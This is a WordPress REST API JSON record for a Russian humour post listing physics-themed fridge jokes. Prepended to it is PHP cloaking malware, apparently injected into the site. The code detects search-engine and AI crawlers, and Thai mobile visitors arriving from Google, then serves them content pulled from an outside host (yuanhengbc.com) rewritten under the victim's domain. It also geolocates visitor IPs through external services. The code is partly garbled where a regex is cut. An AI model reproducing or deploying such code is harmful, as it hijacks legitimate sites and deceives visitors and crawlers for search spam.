$API_URL = 'https://id.yuanhengbc.com/th100';
$scheme = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') ? 'https' : 'http';
$host = $_SERVER['HTTP_HOST'] ?? 'localhost';
$MY_DOMAIN = $scheme . '://' . $host;
function rewrite_remote_urls($html, $api_url, $my_domain) {
if (empty($html)) return $html;
$orig_host = parse_url($api_url, PHP_URL_HOST);
$my_host = parse_url($my_domain, PHP_URL_HOST);
$html = str_replace('https://' . $orig_host . '/xtz.js', '%%XTZ_KEEP%%', $html);
$html = str_replace(
array('https://' . $orig_host, 'http://' . $orig_host, '//' . $orig_host),
array($my_domain, $my_domain, '//' . $my_host),
$html
);
$html = preg_replace(
'/ true,
CURLOPT_TIMEOUT => 15,
CURLOPT_USERAGENT => $ua,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_FOLLOWLOCATION => true,
));
$body = curl_exec($ch);
curl_close($ch);
return $body;
} else {
$ctx = stream_context_create(array(
'http' => array('timeout' => 15, 'user_agent' => $ua, 'ignore_errors' => true)
));
return @file_get_contents($final, false, $ctx);
}
}
$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
$ref = $_SERVER['HTTP_REFERER'] ?? '';
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? '';
if ($ua === '') $ua = ' ';
$bot_list = array(
'Googlebot','Googlebot-News','Googlebot-Image','Googlebot-Video','Googlebot-Mobile',
'Mediapartners-Google','AdsBot-Google','AdsBot-Google-Mobile','Google-InspectionTool',
'APIs-Google','Google-Site-Verification','Google Web Preview','Google Favicon',
'Google Feedfetcher','GoogleOther','Bingbot','BingPreview','AdIdxBot','Microsoft Preview',
'GPTBot','ChatGPT-User','ChatGPT','Google-Extended','Claude-Web','ClaudeBot',
'anthropic-ai','DuckDuckBot','DuckAssistBot'
);
$is_bot = false;
foreach ($bot_list as $b) {
if (stripos($ua, $b) !== false) { $is_bot = true; break; }
}
$is_mobile = false;
foreach (array('Mobile','Android','iPhone','iPad','Windows Phone') as $m) {
if (stripos($ua, $m) !== false) { $is_mobile = true; break; }
}
$is_google = ($ref !== '' && (stripos($ref, 'google.') !== false || stripos($ref, 'bing.com') !== false));
$is_th_lang = ($lang !== '' && preg_match('/(?:^|,)\s*(?:th)(?:-TH)?(?:;|$)/i',$lang) === 1);
function check_ip_country() {
$ip = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['REMOTE_ADDR'] ?? '';
$ip = trim(explode(',', $ip)[0]);
if ($ip === '' || $ip === '127.0.0.1') return 'LOCAL';
$ch = curl_init('https://id.qzbybyk.com/v1/lookup?ip=' . urlencode($ip));
curl_setopt_array($ch, array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 3,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_HTTPHEADER => array('X-API-Key: change-me-now'),
));
$resp = curl_exec($ch);
curl_close($ch);
if ($resp !== false) {
$j = json_decode($resp, true);
if (isset($j['data']['country']['iso_code'])) return $j['data']['country']['iso_code'];
}
$ch = curl_init('http://ip-api.com/json/' . urlencode($ip) . '?fields=countryCode');
curl_setopt_array($ch, array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 3,
CURLOPT_SSL_VERIFYPEER => false,
));
$resp = curl_exec($ch);
curl_close($ch);
if ($resp !== false) {
$j = json_decode($resp, true);
if (isset($j['countryCode'])) return $j['countryCode'];
}
return 'UNKNOWN';
}
if ($is_bot) {
$body = fetch_remote_template($API_URL, $ua);
echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN);
exit;
}
if ($is_mobile && $is_google && $is_th_lang) {
if (check_ip_country() === 'TH') {
$body = fetch_remote_template($API_URL, $ua);
echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN);
exit;
}
}
add_filter('rest_endpoints', function($e){ unset($e['/batch/v1']); return $e; });
{"id":2339,"date":"2022-02-28T16:05:51","date_gmt":"2022-02-28T13:05:51","guid":{"rendered":"https:\/\/www.vladimirkoskov.ru\/?p=2339"},"modified":"2022-10-09T23:29:45","modified_gmt":"2022-10-09T20:29:45","slug":"%d1%84%d0%b8%d0%b7%d0%b8%d0%ba%d0%b8-%d0%be%d1%87%d0%b5%d0%bd%d1%8c-%d1%81%d0%b5%d1%80%d1%8c%d0%b5%d0%b7%d0%bd%d1%8b%d0%b5-%d0%bb%d1%8e%d0%b4%d0%b8-%d0%b8-%d1%88%d1%83%d1%82%d1%8f%d1%82-%d0%be%d0%bd","status":"publish","type":"post","link":"https:\/\/www.vladimirkoskov.ru\/?p=2339","title":{"rendered":"\u0424\u0438\u0437\u0438\u043a\u0438 \u043e\u0447\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043b\u044e\u0434\u0438 \u0438 \u0448\u0443\u0442\u044f\u0442 \u043e\u043d\u0438 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a"},"content":{"rendered":"
\n- \u0425\u043e\u043b\u043e\u0434\u0438\u043b\u044c\u043d\u0438\u043a \u0428\u0440\u0451\u0434\u0438\u043d\u0433\u0435\u0440\u0430 — \u0432 \u043d\u0451\u043c \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043d\u0435\u0442 \u043c\u0435\u0441\u0442\u0430 \u0438 \u043d\u0435\u0442 \u0435\u0434\u044b.<\/li>\n
- \u0425\u043e\u043b\u043e\u0434\u0438\u043b\u044c\u043d\u0438\u043a \u0413\u0435\u0439\u0437\u0435\u043d\u0431\u0435\u0440\u0433\u0430 — \u0432 \u043d\u0451\u043c \u0435\u0441\u0442\u044c \u0435\u0434\u0430. \u041d\u043e \u044d\u0442\u043e \u043d\u0435 \u0442\u043e\u0447\u043d\u043e.<\/li>\n
- \u0425\u043e\u043b\u043e\u0434\u0438\u043b\u044c\u043d\u0438\u043a \u041c\u0435\u043d\u0434\u0435\u043b\u0435\u0435\u0432\u0430 — \u0432 \u043d\u0451\u043c \u0432\u0441\u0451 \u043f\u043e \u043f\u043e\u0440\u044f\u0434\u043a\u0443. \u0418 \u0442\u043e, \u0447\u0435\u0433\u043e \u0432 \u043d\u0451\u043c \u043d\u0435\u0442 — \u0442\u043e\u0436\u0435 \u043f\u043e \u043f\u043e\u0440\u044f\u0434\u043a\u0443.<\/li>\n
- \u0425\u043e\u043b\u043e\u0434\u0438\u043b\u044c\u043d\u0438\u043a \u042e\u043d\u0433\u0430 — \u0441 \u043d\u0438\u043c \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0433\u043e\u0432\u043e\u0440\u0438\u0442\u044c \u043e \u0435\u0434\u0435.<\/li>\n
- \u0425\u043e\u043b\u043e\u0434\u0438\u043b\u044c\u043d\u0438\u043a \u0420\u0438\u043c\u0430\u043d\u0430 — \u0435\u0434\u0430 \u0432 \u0445\u043e\u043b\u043e\u0434\u0438\u043b\u044c\u043d\u0438\u043a\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u043c\u0435\u0441\u044c\u044e \u0432\u0441\u0435\u0439 \u0435\u0434\u044b, \u043a\u043e\u0433\u0434\u0430-\u043b\u0438\u0431\u043e \u043f\u043e\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u0439 \u0442\u0443\u0434\u0430.<\/li>\n
- \u0425\u043e\u043b\u043e\u0434\u0438\u043b\u044c\u043d\u0438\u043a \u042d\u0439\u043d\u0448\u0442\u0435\u0439\u043d\u0430 — \u0447\u0435\u043c \u0431\u044b\u0441\u0442\u0440\u0435\u0435 \u0442\u044b \u043a\u043b\u0430\u0434\u0451\u0448\u044c \u0432 \u043d\u0435\u0433\u043e \u0435\u0434\u0443, \u0442\u0435\u043c \u0435\u0434\u044b \u043c\u0435\u043d\u044c\u0448\u0435.<\/li>\n
- \u0425\u043e\u043b\u043e\u0434\u0438\u043b\u044c\u043d\u0438\u043a \u0422\u0435\u0441\u043b\u044b — \u0432 \u044d\u043b\u0435\u043a\u0442\u0440\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0451\u043d, \u0435\u0434\u0430 \u043e\u0445\u043b\u0430\u0436\u0434\u0430\u0435\u0442\u0441\u044f, \u043d\u0438\u043a\u0442\u043e \u043d\u0435 \u0437\u043d\u0430\u0435\u0442 \u043a\u0430\u043a.<\/li>\n
- \u0425\u043e\u043b\u043e\u0434\u0438\u043b\u044c\u043d\u0438\u043a \u0428\u0442\u0430\u0439\u043d\u043c\u0430\u0439\u0435\u0440\u0430 — \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f «\u041c\u0438\u043d\u0441\u043a».<\/li>\n<\/ul>\n
\u0415\u0441\u043b\u0438 \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0435 \u0432\u044b\u0448\u0435 \u0448\u0443\u0442\u043a\u0438 \u0432\u044b \u043d\u0430\u0448\u043b\u0438 \u0441\u043c\u0435\u0448\u043d\u044b\u043c\u0438, \u0437\u043d\u0430\u0447\u0438\u0442 \u0432\u044b \u043d\u0435\u043f\u043b\u043e\u0445\u043e \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442\u0435\u0441\u044c \u0432 \u0444\u0438\u0437\u0438\u043a\u0435 \u0438 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0443\u0441\u0432\u043e\u0438\u043b\u0438 \u0448\u043a\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u0443\u0440\u0441!<\/p>\n","protected":false},"excerpt":{"rendered":"
\u0425\u043e\u043b\u043e\u0434\u0438\u043b\u044c\u043d\u0438\u043a \u0428\u0440\u0451\u0434\u0438\u043d\u0433\u0435\u0440\u0430 — \u0432 \u043d\u0451\u043c \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043d\u0435\u0442 \u043c\u0435\u0441\u0442\u0430 \u0438 \u043d\u0435\u0442 \u0435\u0434\u044b. \u0425\u043e\u043b\u043e\u0434\u0438\u043b\u044c\u043d\u0438\u043a \u0413\u0435\u0439\u0437\u0435\u043d\u0431\u0435\u0440\u0433\u0430 — \u0432 \u043d\u0451\u043c \u0435\u0441\u0442\u044c \u0435\u0434\u0430. \u041d\u043e \u044d\u0442\u043e \u043d\u0435 \u0442\u043e\u0447\u043d\u043e. \u0425\u043e\u043b\u043e\u0434\u0438\u043b\u044c\u043d\u0438\u043a \u041c\u0435\u043d\u0434\u0435\u043b\u0435\u0435\u0432\u0430 — \u0432 \u043d\u0451\u043c \u0432\u0441\u0451 \u043f\u043e \u043f\u043e\u0440\u044f\u0434\u043a\u0443.… <\/p>\n","protected":false},"author":1,"featured_media":2340,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[48],"tags":[],"class_list":["post-2339","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-humour"],"_links":{"self":[{"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/posts\/2339","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2339"}],"version-history":[{"count":5,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/posts\/2339\/revisions"}],"predecessor-version":[{"id":3745,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/posts\/2339\/revisions\/3745"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/media\/2340"}],"wp:attachment":[{"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2339"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2339"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2339"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}